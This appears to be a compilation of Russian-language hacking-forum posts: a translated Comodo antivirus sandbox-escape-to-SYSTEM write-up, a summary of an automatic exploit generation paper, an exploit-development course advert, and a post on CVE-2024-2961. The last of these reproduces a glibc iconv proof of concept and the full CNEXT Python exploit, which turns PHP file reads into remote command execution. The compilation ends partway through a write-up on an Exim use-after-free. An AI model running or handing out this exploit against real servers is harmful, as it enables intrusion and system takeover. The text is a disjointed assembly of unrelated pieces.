Рисунок 17 - CmdAgent.exe ISvcRegistryAccess - метод чтения реестра (как
SYSTEM - без олицетворения)
Реестр
Теперь давайте посмотрим, поддерживает ли этот COM-объект записи реестра.
Обойдя его vtable, мы видим метод, который вызывает метод RegSetValueExW.
Рисунок 18 - CmdAgent.exe показывает более интересные методы для вызова
(установка значений реестра)
Рисунок 19. Метод CmdAgent.exe ISvcRegistryAccess устанавливает значение
реестра (как SYSTEM - без олицетворения)
Кажется довольно ясным, что если мы вызовем этот метод, мы можем получить запись в реестр как SYSTEM, так как я не вижу вызываемых API подражания. Мы изменяем наш код COM-клиента, чтобы получить IServiceProvider и разрешить ISvcRegistryAccess, а затем вызвать этот метод «записи в реестр». Если мы посмотрим, как мы получили наш regInterface с помощью вызова «GetRegInterface», мы фактически увидим, что реализация CmdAgent.exe создала только дескриптор reg-ключа только для чтения, поэтому, конечно, попытка вызвать метод «write registry» приведет к ACCESS_DENIED. К счастью, я нашел другой метод в таблице ISvcRegKey, который заменяет наш дескриптор ключа реестра на «writable», передавая некоторые дополнительные аргументы.
Мы просто добавляем вызов к этому методу с правильными аргументами, чтобы получить доступный для записи ISvcRegistryAccess.
Рисунок 20. Модификация нашего COM-клиента для получения доступного для
записи интерфейса реестра
Собрав все это вместе, мы придумаем следующий код и получим запись в реестре как SYSTEM!
Рисунок 21 - наш окончательный код COM-клиента
Рисунок 22 - Успешно перезаписаны данные в привилегированном разделе реестра
Эксплуатация в СИСТЕМУ
Сверху мы запускаем наше изолированное приложение, которое затем обрабатывает
двоичный файл с подписью Comodo (чтобы обойти проверку подписи CmdAgent),
который затем запускает наш COM-код, который мы написали, и выполняет запись в
реестр как SYSTEM из нашего «содержащегося» процесса. Практическим выходом из
этого было бы перехватить существующий сервис, а достойным сервисом для
перехвата был сам CmdAgent.exe. Заменим ImagePath данные в
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CmdAgent, это заменит
службу CmdAgent нашей собственной, которая будет работать как система.
Рисунок 23 - служба CmdAgent.exe в реестре
Однако нам потребуется перезапуск службы CmdAgent, если мы хотим мгновенно получить эти привилегии SYSTEM (в отличие от ожидания следующего перезапуска). К счастью, у нас есть способ сделать это, поскольку я нашел способ, которым мы можем аварийно завершить работу CmdAgent, что приведет к «оживлению» службы и по ошибке запустит наш ImagePath, который мы написали в защищенный раздел реестра. Сбой CmdAgent очень прост, так как процесс предоставляет объект структурных данных [Section](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/kernel/section-objects-and-views), который может записывать все: [ ](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/kernel/section-objects-and-views)
Рисунок 24. Объект раздела CmdAgent.exe, предоставляющий доступ к данным для
записи (SharedMemoryDictionary)
CmdAgent ссылается на этот буфер как «SharedMemoryDictionary», который представляет собой целый объект класса, только что представленный в разделяемой памяти. Мы можем потерпеть крах, записав данные неправильного размера в члены объекта, что приведет к чтению за пределами границ, и когда CmdAgent пытается прочитать этот SharedMemoryDictionary (который постоянно), будет сбой CmdAgent. Когда сервис возрождается, он запускает наш новый двоичный файл, который мгновенно переводит нас в SYSTEM.
Рисунок 25 - Успешное повышение до SYSTEM
PoC
Код: https://github.com/tenable/poc/tree/master/Comodo/Comodo%20Antivirus
Переведено специально дляhttps://xss.is
Переводчик статьи - https://xss.is/members/177895/
Оригинал - <https://medium.com/tenable-techblog/comodo-from-sandbox-to-system-
cve-2019-3969-b6a34cc85e67>
Utomatic Exploit поколения
, как это звучит, автоматический способ создания эксплойтов уязвимостей в
программе. Это известно как вызов AEG. В этом документе подробно описывается
первая комплексная система для полностью автоматической генерации эксплойтов.
Команда CMU сначала показывает, как генерация эксплойтов
для атак на управление потоком управления может быть смоделирована как
проблема формальной проверки, затем предлагает предобусловленное символическое
выполнение (новый метод нацеливания на символическое выполнение) и, наконец,
представляет общий подход для генерации рабочих эксплойтов.
Также здесь есть хорошая
демонстрация.
термины
Прежде чем я опишу, как работает система, я хочу рассмотреть некоторые
ключевые термины, которые важны для понимания статьи.
Сначала я хочу немного рассказать о фоне:
Предыстория и предыдущие попытки
Вот хорошая цитата из статьи:
Современное состояние генерации эксплойтов потока управления позволяет
человеку очень серьезно задуматься о том, можно ли использовать ошибку. До сих
пор автоматическая генерация эксплойтов, в которых автоматически
обнаруживаются ошибки и генерируются эксплойты, не была полезна для реальных
программ.
Эта статья утверждает, что автоматически генерирует последовательности
перехвата потока управления
Анализ исходного кода: одного только анализа исходного кода недостаточно,
чтобы сообщить о возможности использования потенциальной ошибки, поскольку
обнаруживаются ошибки в отношении абстракций на уровне исходного кода:
анализ исходного кода подобен прочесыванию в программе синтаксических ошибок,
но вероятность их ошибки. Те, которые мы собираемся использовать, являются
семантическими, те, которые возникают из-за ошибок в логике или недостатков в
абстрактном уровне кода.
В качестве альтернативы можно рассмотреть анализ двоичного кода (посмотреть,
что именно код делает на каждом этапе пути, где мы можем найти какую-то ошибку
в логическом потоке), подробности уровня времени выполнения, кадры стека,
адрес памяти и т. Д. Однако это не масштабируется.
Объединение анализа на уровне исходного кода и двоичного анализа
Это довольно новая концепция, поскольку она сочетает в себе использование
анализа исходного кода, который найдет конкретные ошибки, которые приведут к
ошибочному выполнению, с неким семантическим смыслом / логикой посредством
бинарного анализа. Обратите внимание, что оба метода ранее существовали, но
сама мысль о том, чтобы их расчесывать, является новой. Кроме того, код будет
работать для данной системы, а не только для конкретного куска кода.
Теперь, когда у нас есть некоторый пригодный для использования код, нам нужно
найти пригодные для использования пути среди бесконечного числа путей,
которые может использовать код. Программы могут иметь циклы, что означает, что
они могут иметь бесконечное количество путей.
Вот где выдержан символическое исполнение вступает в игру. Условное
символьное выполнение аналогично прямому символьному выполнению в том, что оно
постепенно исследует пространство состояний для поиска ошибок, однако условное
символическое выполнение принимает дополнительный параметр. Это уступает пути
приоритизации пути.
Учитывая некоторый предикат (он же «дополнительный параметр»), который
спрашивает пользователя, какой конкретный эксплойт он хочет выполнить,
соединение предиката эксплойта будет накладывать ограничения на окончательное
решение. Если окончательные ограничения не выполнены, мы считаем эту ошибку
неиспользуемой.
Техника приоритизации пути - сначала используйте эвристику, чтобы выбрать
наиболее подходящие пути
Почему это выгодно? Раньше у нас было бесконечное количество путей, по которым
мы итерировали, пока не нашли что-то, что, возможно, имело эксплойт. Используя
технику расстановки приоритетов, мы можем вместо этого пройти через конечное
число путей, сосредоточившись сначала на наших более потенциальных путях.
Хорошо, теперь к фактическому процессу (из статьи):
Поиск ошибок на уровне исходного кода путем изучения путей выполнения (
выполняет iwconfic с использованием символических аргументов в качестве
входных источников )
Следуйте по пути, обнаруживает ошибку «за пределами» или «память за пределами»
по некоторой переменной.
AEG Решает текущие ограничения пути и генерирует конкретный ввод, который
вызовет обнаруженную ошибку
Выполните динамический анализ двоичного файла iwconfig, используя входные
данные из шага 2
Создайте ограничения, описывающие эксплойт, используя информацию из шага 3
Результаты
Их AEG удалось найти два эксплойта нулевого дня для ранее неизвестных
уязвимостей. Их AEG также смогли обнаружить такие ошибки «в считанные
секунды», что является довольно удивительным результатом.
Критические Проблемы
Во-первых, эта статья действительно технически сложна и трудна для понимания
из-за ее сложности. У меня было много проблем с пониманием этого, и я
полагался на моего консультанта и коллег, чтобы помочь мне понять это. Я до
сих пор не думаю, что я полностью понимаю это.
Во-вторых, здесь нет ссылок на эвристику. Они упоминают использование
эвристики, которая определена как некоторое практическое решение, которое не
оптимизировано / рационально, но работает, фактически не указывая их ссылки
для выбора упомянутой эвристики. Это немного подозрительно, но их результаты
кажутся многообещающими.
Мой друг отметил, что если запуск занимает всего 1 секунду, почему бы не
запустить больше тестов. Тем более, что это такая шокирующая статья, почему бы
просто не запустить сотни или тысячи тестов, чтобы подтвердить, что AEG
обязательно сработает? Большинство примеров в статье также посвящены проблемам
памяти.
Следующие шаги
Есть еще проблемы, такие как создание AEG, который генерирует эксплойты
непосредственно из двоичного файла. Другие проблемы включают в себя повышение
производительности, масштабируемости и т. Д. Еще один момент, который авторы
отметили, - это расширенные эксплойты. Они говорили о расширении AEG для
обработки переполнений на основе кучи. Проблема здесь состоит в том, чтобы
расширить рассуждения о потоке управления, чтобы также учитывать структуры
управления кучей. Я хотел бы закончить цитатой из статьи, которая хорошо
написана, хотя и техническая.
Мы также не утверждаем, что AEG является «решенной» проблемой; всегда есть
возможность улучшить производительность, масштабируемость, работать с большим
количеством классов эксплойтов и работать в новых настройках приложения.
[Первоисточник](https://medium.com/@claudiazhu/automatic-exploit-generation- first-of-its-kind-991c68da0833)
Разработка эксплойтов пользовательского режима Windows (EXP-301) — это курс, который обучает учащихся основам разработки современных эксплойтов. Несмотря на то, что курс является фундаментальным, он находится на уровне 300, поскольку опирается на глубокие знания ассемблера и программирования низкого уровня. Он начинается с базовых атак на переполнение буфера и продолжается изучением навыков, необходимых для взлома критически важных мер безопасности, защищающих предприятия. Учащиеся, завершившие курс и сдавшие экзамен, получают сертификат OffSec Exploit Developer (OSED). OSED является одним из трех сертификатов, составляющих сертификацию OSCE наряду с OSEP для расширенного тестирования на проникновение и OSWE для безопасности веб-приложений.
ССЫЛКА:
You must have at least 20 reaction(s) to view the content.
Description
A few months ago, I stumbled upon a 24 years old buffer overflow in the glibc. Despite being reachable in multiple well-known libraries or programs, it proved rarely exploitable. Indeed, this was not a foos bug: with hard-to- achieve preconditions, it did not even provide a nice primitive. On PHP however, it lead to amazing results: a new exploitation technique that affects the whole PHP ecosystem, and the compromission of several applications.
This talk will first walk you through the discovery of the bug and its limitations, before describing the conception of several remote binary PHP exploits, and through them offer unique insight in the internal of the engine of the web language, and the difficulties one faces when exploiting it.
Click to expand...
в суть не вникал, но, похоже, это жара: Local File Disclosure (File Read) to
RCE, SQL injection to RCE, XXE to RCE.
а причина в маленьком баге в glibc.
With this bug, any person that has a file read vulnerability with a controlled prefix on a PHP application has RCE.
Any person that can force PHP into calling iconv() with controlled parameters has RCE.Click to expand...
remote code execution for 10 years worth of PHP versions.
Click to expand...
Видео
youtube.com/watch?v=dqKFHjcK9hM
Статья
![www.ambionics.io](/proxy.php?image=https%3A%2F%2Fwww.ambionics.io%2Fimages%2Ficonv- cve-2024-2961-p1%2Ficonv- cve-2024-2961-p1.png&hash=224e33e54179dc7b341184cc0fa3080a&return_error=1)
engine (part 1) ](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
A few months ago, I stumbled upon a 24 years old buffer overflow in the glibc, the base library for linux programs. Despite being reachable in multiple well- known libraries or executables, it proved rarely exploitable — while it didn't provide much leeway, it required hard-to-achieve...
www.ambionics.io
Эксплойт
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fad60d54789dcefb5f4e0d08cab8ece90df9300c4fde455d2dbf2178e3e267d61%2Fambionics%2Fcnext- exploits&hash=a1333edc363f904588c7a7c5c9c45b82&return_error=1)
a buffer overflow in the glibc's iconv() ](https://github.com/ambionics/cnext- exploits/)
Exploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv() - ambionics/cnext-exploits
github.com
poc.c
C:Copy to clipboard
/*
CVE-2024-2961 POC
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
$
*/
#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
void hexdump(void *ptr, int buflen)
{
unsigned char *buf = (unsigned char *)ptr;
int i, j;
for (i = 0; i < buflen; i += 16)
{
printf("%06x: ", i);
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%02x ", buf[i + j]);
else
printf(" ");
printf(" ");
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
printf("\n");
}
}
void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄";
char output[0x10] = {0};
char *pinput = input;
char *poutput = output;
// Same size for input and output buffer
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zd\n", soutput);
hexdump(output, 0x10);
}
cnext-exploit.py
Python:Copy to clipboard
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#
from __future__ import annotations
import base64
import zlib
from dataclasses import dataclass
from pwn import *
from requests.exceptions import ChunkedEncodingError, ConnectionError
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
```php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.post(self.url, data={"file": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result
text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)
def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)
def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path == ""
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()
def build_exploit_path(self) -> str:
"""
On each step of the exploit, a filter will process each chunk one after the
other. Processing generally involves making some kind of operation either
on the chunk or in a destination chunk of the same size. Each operation is
applied on every single chunk; you cannot make PHP apply iconv on the first 10
chunks and leave the rest in place. That's where the difficulties come from.
Keep in mind that we know the address of the main heap, and the libraries.
ASLR/PIE do not matter here.
The idea is to use the bug to make the freelist for chunks of size 0x100 point
lower. For instance, we have the following free list:
... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00
By triggering the bug from chunk ..900, we get:
... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???
That's step 3.
Now, in order to control the free list, and make it point whereever we want,
we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
That's step 2.
Now, if we were to perform step2 an then step3 without anything else, we'd have
a problem: after step2 has been processed, the free list goes bottom-up, like:
0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900
We need to go the other way around. That's why we have step 1: it just allocates
chunks. When they get freed, they reverse the free list. Now step2 allocates in
reverse order, and therefore after step2, chunks are in the correct order.
Another problem comes up.
To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
Since step2 creates chunks that contain pointers and pointers are generally not
UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
To avoid this, we put the chunks in step2 at the very end of the chain, and
prefix them with `0\n`. When dechunked (right before the iconv), they will
"disappear" from the chain, preserving them from the character set conversion
and saving us from an unwanted processing error that would stop the processing
chain.
After step3 we have a corrupted freelist with an arbitrary pointer into it. We
don't know the precise layout of the heap, but we know that at the top of the
heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
Its free_slot[] array contains a pointer to each free list. By overwriting it,
we can make PHP allocate chunks whereever we want. In addition, its custom_heap
field contains pointers to hook functions for emalloc, efree, and erealloc
(similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
then overwrite the use_custom_heap flag to make PHP use these function pointers
instead. We can now do our favorite CTF technique and get a call to
system(<chunk>).
We make sure that the "system" command kills the current process to avoid other
system() calls with random chunk data, leading to undefined behaviour.
The pad blocks just "pad" our allocations so that even if the heap of the
process is in a random state, we still get contiguous, in order chunks for our
exploit.
Therefore, the whole process described here CANNOT crash. Everything falls
perfectly in place, and nothing can get in the middle of our allocations.
"""
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass
msg_print()
if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()
От теории к практике: анализ и разработка PoC для CVE-2020-28018 (Use-After- Free в exim)
Уважаемые товарищи, сегодняшняя проповедь о создании PoC для одной из уязвимостей, опубликованных Qualys в Exim. Пожалуйста, присаживайтесь и слушайте рассказ.
Введение
Qualys недавно выпустила информационное сообщение под названием «21Nails» с 21 уязвимостью, обнаруженной в eximʻe, некоторые из которых ведут к LPE и RCE.
В этом посте будет проанализирована одна из этих уязвимостей с идентификатором CVE: CVE-2020-28018.
Уязвимость представляет собой уязвимость Use-After-Free(UAF) на tls-openssl.c, которая приводит к удаленному выполнению кода.
Эта уязвимость действительно мощная, поскольку она позволяет злоумышленнику создавать важные примитивы для обхода защиты памяти, такой как PIE или ASLR.
Примитивы, которые может получить через эту уязвимость, следующие:
**- Info Leak: Утечка указателей кучи для обхода ASLR
- Arbitrary read: чтение произвольного количества байтов в произвольном месте
-write-what-where: записывать произвольные данные в произвольные места**
Как видите, эти примитивы - именно то, что нужно удаленному злоумышленнику для обхода средств защиты.
Во-первых, чтобы сработала и использовалась эта уязвимость, необходимо выполнить некоторые требования:
**- TLS включен
- Вместо GnuTLS (к сожалению, по умолчанию) должен быть включен OpenSSL.
- Работающий exim - одна из уязвимых версий
- X_PIPE_CONNECT должен быть отключен**
Во-первых, чтобы понять, почему существует эта уязвимость и как ее использовать, нам нужно понять поведение Exim Pool Allocator и расширяемые строки, которые использует Exim.
Распределитель пула Exim
Распределитель пула eximʻa имеет разные пулы:
**- POOL_PERM: распределения, которые не освобождаются до завершения процесса
- POOL_MAIN: выделения, которые можно освободить
- POOL_SEARCH: хранилище поиска**
Пул - это связанный список структур, начинающийся с базы цепочки.
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;Click to expand...
Мы видим, что он содержит две записи:
**-next: указатель на следующий блок в связанном списке.
- length: длина текущего блока.**
C:Copy to clipboard
void *
store_get_3(int size, const char *filename, int linenumber)
{
if (size % alignment != 0) size += alignment - (size % alignment);
if (size > yield_length[store_pool])
{
int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
storeblock * newblock = NULL;
if ( (newblock = current_block[store_pool])
&& (newblock = newblock->next)
&& newblock->length < length
)
{
/* Give up on this block, because it's too small */
store_free(newblock);
newblock = NULL;
}
if (!newblock)
{
pool_malloc += mlength; /* Used in pools */
nonpool_malloc -= mlength; /* Exclude from overall total */
newblock = store_malloc(mlength);
newblock->next = NULL;
newblock->length = length;
if (!chainbase[store_pool])
chainbase[store_pool] = newblock;
else
current_block[store_pool]->next = newblock;
}
current_block[store_pool] = newblock;
yield_length[store_pool] = newblock->length;
next_yield[store_pool] =
(void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
(void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
}
store_last_get[store_pool] = next_yield[store_pool];
...
next_yield[store_pool] = (void *)(CS next_yield[store_pool] + size);
yield_length[store_pool] -= size;
return store_last_get[store_pool];
}
Когда вызывается store_get(), он сначала проверяет, достаточно ли места в текущем блоке для удовлетворения запроса.
Если есть место, указатель yield обновляется, и указатель на память возвращается вызывающей функции.
